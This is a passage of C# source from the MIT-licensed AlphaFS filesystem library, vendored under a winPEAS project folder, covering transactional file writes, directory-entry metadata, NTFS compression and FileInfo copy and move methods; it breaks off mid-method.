WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, false, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a new file as part of a transaction, write the contents to the file, and then closes the file. If the target file already exists, it is overwritten. /// This method uses UTF-8 encoding without a Byte-Order Mark (BOM) /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string to write to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, new UTF8Encoding(false, true), false, false, pathFormat); } /// [AlphaFS] Creates a new file as part of a transaction, writes the specified string to the file using the specified encoding, and then closes the file. If the target file already exists, it is overwritten. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to write to. /// The string to write to the file. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void WriteAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, false, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Provides static methods for the creation, copying, deletion, moving, and opening of a single file, and aids in the creation of FileStream objects. public static partial class File { // This file only exists for the documentation. } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileIdBothDirectoryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { /// [AlphaFS] Contains information about files in the specified directory. Used for directory handles. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Dir")] [Serializable] [SecurityCritical] public sealed class FileIdBothDirectoryInfo { internal FileIdBothDirectoryInfo(NativeMethods.FILE_ID_BOTH_DIR_INFO fibdi, string fileName) { CreationTimeUtc = DateTime.FromFileTimeUtc(fibdi.CreationTime); LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibdi.LastAccessTime); LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibdi.LastWriteTime); ChangeTimeUtc = DateTime.FromFileTimeUtc(fibdi.ChangeTime); AllocationSize = fibdi.AllocationSize; EndOfFile = fibdi.EndOfFile; ExtendedAttributesSize = fibdi.EaSize; FileAttributes = fibdi.FileAttributes; FileId = fibdi.FileId; FileIndex = fibdi.FileIndex; FileName = fileName; // ShortNameLength is the number of bytes in the short name; since we have a unicode string we must divide that by 2. ShortName = new string(fibdi.ShortName, 0, fibdi.ShortNameLength / UnicodeEncoding.CharSize); } /// The number of bytes that are allocated for the file. This value is usually a multiple of the sector or cluster size of the underlying physical device. public long AllocationSize { get; set; } /// Gets the time this entry was changed. /// The time this entry was changed. public DateTime ChangeTime { get { return ChangeTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was changed. /// The time, in coordinated universal time (UTC), this entry was changed. public DateTime ChangeTimeUtc { get; set; } /// Gets the time this entry was created. /// The time this entry was created. public DateTime CreationTime { get { return CreationTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was created. /// The time, in coordinated universal time (UTC), this entry was created. public DateTime CreationTimeUtc { get; set; } /// The size of the extended attributes for the file. public int ExtendedAttributesSize { get; set; } /// The absolute new end-of-file position as a byte offset from the start of the file to the end of the file. /// Because this value is zero-based, it actually refers to the first free byte in the file. In other words, EndOfFile is the offset to /// the byte that immediately follows the last valid byte in the file. /// public long EndOfFile { get; set; } /// The file attributes. public FileAttributes FileAttributes { get; set; } /// The file ID. public long FileId { get; set; } /// The byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, /// in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. /// public long FileIndex { get; set; } /// The name of the file. public string FileName { get; set; } /// Gets the time this entry was last accessed. /// The time this entry was last accessed. public DateTime LastAccessTime { get { return LastAccessTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was last accessed. /// The time, in coordinated universal time (UTC), this entry was last accessed. public DateTime LastAccessTimeUtc { get; set; } /// Gets the time this entry was last modified. /// The time this entry was last modified. public DateTime LastWriteTime { get { return LastWriteTimeUtc.ToLocalTime(); } } /// Gets the time, in coordinated universal time (UTC), this entry was last modified. /// The time, in coordinated universal time (UTC), this entry was last modified. public DateTime LastWriteTimeUtc { get; set; } /// The short 8.3 file naming convention (for example, FILENAME.TXT) name of the file. public string ShortName { get; set; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Compression/FileInfo.Compress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Compresses a file using NTFS compression. [SecurityCritical] public void Compress() { Device.ToggleCompressionCore(Transaction, false, LongFullName, true, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo Compression/FileInfo.Decompress.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// [AlphaFS] Decompresses an NTFS compressed file. [SecurityCritical] public void Decompress() { Device.ToggleCompressionCore(Transaction, false, LongFullName, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.CopyTo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Copies an existing file to a new file, disallowing the overwriting of an existing file. /// A new instance with a fully qualified path. /// /// Use this method to prevent overwriting of an existing file by default. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. [SecurityCritical] public FileInfo CopyTo(string destinationPath) { string destinationPathLp; CopyToMoveToCore(destinationPath, CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// Copies an existing file to a new file, allowing the overwriting of an existing file. /// A new instance with a fully qualified path. /// /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// true to allow an existing file to be overwritten; otherwise, false. [SecurityCritical] public FileInfo CopyTo(string destinationPath, bool overwrite) { string destinationPathLp; CopyToMoveToCore(destinationPath, overwrite ? CopyOptions.None : CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Copies an existing file to a new file, disallowing the overwriting of an existing file. /// A new instance with a fully qualified path. /// /// Use this method to prevent overwriting of an existing file by default. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo CopyTo(string destinationPath, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file. /// A new instance with a fully qualified path. /// /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// true to allow an existing file to be overwritten; otherwise, false. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo CopyTo(string destinationPath, bool overwrite, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, overwrite ? CopyOptions.None : CopyOptions.FailIfExists, null, false, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A new instance with a fully qualified path. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. [SecurityCritical] public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions) { string destinationPathLp; CopyToMoveToCore(destinationPath, copyOptions, null, false, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A new instance with a fully qualified path. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, copyOptions, null, false, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A new instance with a fully qualified path. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// true if original Timestamps must be preserved, false otherwise. [SecurityCritical] public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates) { string destinationPathLp; CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A new instance with a fully qualified path. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// true if original Timestamps must be preserved, false otherwise. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A class with details of the Copy action. /// and the possibility of notifying the application of its progress through a callback function. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, false, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A class with details of the Copy action. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, false, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A class with details of the Copy action. /// and the possibility of notifying the application of its progress through a callback function. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing file to a new file, allowing the overwriting of an existing file, can be specified. /// A class with details of the Copy action. /// and the possibility of notifying the application of its progress through a callback function. /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing file. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name of the new file to copy to. /// that specify how the file is to be copied. /// true if original Timestamps must be preserved, false otherwise. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public CopyMoveResult CopyTo(string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, copyOptions, null, preserveDates, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return cmr; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.CopyToMoveToCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { /// Copy/move an existing file to a new file, allowing the overwriting of an existing file. /// A class with the status of the Copy or Move action. /// /// Option is recommended for very large file transfers. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A full path string to the destination directory /// This parameter can be null. Use to specify how the file is to be copied. /// This parameter can be null. Use that specify how the file is to be moved. /// true if original Timestamps must be preserved, false otherwise. /// This parameter can be null. A callback function that is called each time another portion of the file has been copied. /// This parameter can be null. The argument to be passed to the callback function. /// [out] Returns the retrieved long full path. /// Indicates the format of the path parameter(s). /// /// /// /// /// /// [SecurityCritical] private CopyMoveResult CopyToMoveToCore(string destinationPath, CopyOptions? copyOptions, MoveOptions? moveOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, out string longFullPath, PathFormat pathFormat) { longFullPath = Path.GetExtendedLengthPathCore(Transaction, destinationPath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); return File.CopyMoveCore(false, new CopyMoveArguments { Transaction = Transaction, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = PathFormat.LongFullPath }, false, false, LongFullName, longFullPath, null); } /// Refreshes the current instance with a new destination path. private void UpdateDestinationPath(string destinationPath, string destinationPathLp) { _name = Path.GetFileName(destinationPathLp, true); UpdateSourcePath(destinationPath, destinationPathLp); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo CopyToMoveTo/FileInfo.MoveTo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Moves a specified file to a new location, providing the option to specify a new file name. /// A class with details of the Move action. /// /// Use this method to prevent overwriting of an existing file by default. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. [SecurityCritical] public void MoveTo(string destinationPath) { string destinationPathLp; CopyToMoveToCore(destinationPath, null, MoveOptions.CopyAllowed, false, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); } #endregion // .NET /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name. /// Returns a new instance with a fully qualified path when successfully moved. /// /// Use this method to prevent overwriting of an existing file by default. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo MoveTo(string destinationPath, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, null, MoveOptions.CopyAllowed, false, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, can be specified. /// Returns a new instance with a fully qualified path when successfully moved. /// /// Use this method to allow or prevent overwriting of an existing file. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. /// that specify how the directory is to be moved. This parameter can be null. [SecurityCritical] public FileInfo MoveTo(string destinationPath, MoveOptions moveOptions) { string destinationPathLp; CopyToMoveToCore(destinationPath, null, moveOptions, false, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateDestinationPath(destinationPath, destinationPathLp); return null != destinationPathLp ? new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null; } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, can be specified. /// Returns a new instance with a fully qualified path when successfully moved. /// /// Use this method to allow or prevent overwriting of an existing file. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. /// that specify how the directory is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo MoveTo(string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, null, moveOptions, false, null, null, out destinationPathLp, pathFormat); UpdateDestinationPath(destinationPath, destinationPathLp); return null != destinationPathLp ? new FileInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null; } /// [AlphaFS] Moves a specified file to a new location, providing the option to specify a new file name, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// A class with the status of the Move action. /// /// Use this method to allow or prevent overwriting of an existing file. /// This method works across disk volumes. /// For example, the file c:\MyFile.txt can be moved to d:\public and renamed NewFile.txt. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two files have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The path to move the file to, which can specify a different file name. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { // Reject DelayUntilReboot. if ((moveOptions & MoveOptions.DelayUntilReboot) != 0) throw new ArgumentException("The DelayUntilReboot flag is invalid for this method.", "moveOptions"); string destinationPathLp; var cmr = 